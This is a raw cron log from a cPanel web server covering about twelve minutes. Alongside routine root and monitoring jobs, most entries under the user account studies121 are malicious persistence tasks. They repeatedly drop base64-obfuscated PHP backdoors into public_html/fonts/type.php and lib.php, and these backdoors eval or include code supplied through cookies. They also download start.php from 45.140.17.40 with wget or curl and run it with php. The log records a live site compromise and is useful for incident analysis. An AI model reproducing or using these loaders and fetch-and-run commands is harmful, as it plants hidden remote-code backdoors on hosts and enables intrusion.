Feb 22 10:02:01 ip-184-168-122-23 CROND[21592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:03:01 ip-184-168-122-23 CROND[21916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:03:01 ip-184-168-122-23 CROND[21918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:03:01 ip-184-168-122-23 CROND[21920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:03:01 ip-184-168-122-23 CROND[21923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:04:01 ip-184-168-122-23 CROND[22229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:04:01 ip-184-168-122-23 CROND[22231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:04:01 ip-184-168-122-23 CROND[22232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:04:01 ip-184-168-122-23 CROND[22233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:04:01 ip-184-168-122-23 CROND[22234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:05:01 ip-184-168-122-23 CROND[22547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:05:01 ip-184-168-122-23 CROND[22549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:05:01 ip-184-168-122-23 CROND[22548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:05:01 ip-184-168-122-23 CROND[22553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:05:01 ip-184-168-122-23 CROND[22552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:05:01 ip-184-168-122-23 CROND[22555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:05:01 ip-184-168-122-23 CROND[22557]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 10:06:01 ip-184-168-122-23 CROND[22895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:06:01 ip-184-168-122-23 CROND[22897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:06:01 ip-184-168-122-23 CROND[22898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:06:01 ip-184-168-122-23 CROND[22900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:06:01 ip-184-168-122-23 CROND[22899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:07:01 ip-184-168-122-23 CROND[23197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:07:01 ip-184-168-122-23 CROND[23201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:07:01 ip-184-168-122-23 CROND[23202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:07:01 ip-184-168-122-23 CROND[23203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:08:01 ip-184-168-122-23 CROND[23644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:08:01 ip-184-168-122-23 CROND[23646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:08:01 ip-184-168-122-23 CROND[23647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:08:01 ip-184-168-122-23 CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:08:01 ip-184-168-122-23 CROND[23649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:09:01 ip-184-168-122-23 CROND[23960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:09:01 ip-184-168-122-23 CROND[23961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:09:01 ip-184-168-122-23 CROND[23962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:09:01 ip-184-168-122-23 CROND[23963]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 10:09:01 ip-184-168-122-23 CROND[23964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:10:01 ip-184-168-122-23 CROND[24431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:10:01 ip-184-168-122-23 CROND[24432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:10:01 ip-184-168-122-23 CROND[24434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:10:01 ip-184-168-122-23 CROND[24439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:10:01 ip-184-168-122-23 CROND[24443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:10:01 ip-184-168-122-23 CROND[24441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:10:01 ip-184-168-122-23 CROND[24444]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 10:10:01 ip-184-168-122-23 CROND[24442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:11:01 ip-184-168-122-23 CROND[24953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:11:01 ip-184-168-122-23 CROND[24955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:11:01 ip-184-168-122-23 CROND[24956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:11:01 ip-184-168-122-23 CROND[24957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:12:01 ip-184-168-122-23 CROND[25269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:12:01 ip-184-168-122-23 CROND[25273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:12:01 ip-184-168-122-23 CROND[25274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:12:01 ip-184-168-122-23 CROND[25272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:12:01 ip-184-168-122-23 CROND[25271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:13:01 ip-184-168-122-23 CROND[25579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:13:01 ip-184-168-122-23 CROND[25580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:13:01 ip-184-168-122-23 CROND[25584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:13:01 ip-184-168-122-23 CROND[25583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:14:01 ip-184-168-122-23 CROND[25903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:14:01 ip-184-168-122-23 CROND[25905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:14:01 ip-184-168-122-23 CROND[25906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:14:01 ip-184-168-122-23 CROND[25907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:14:01 ip-184-168-122-23 CROND[25908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
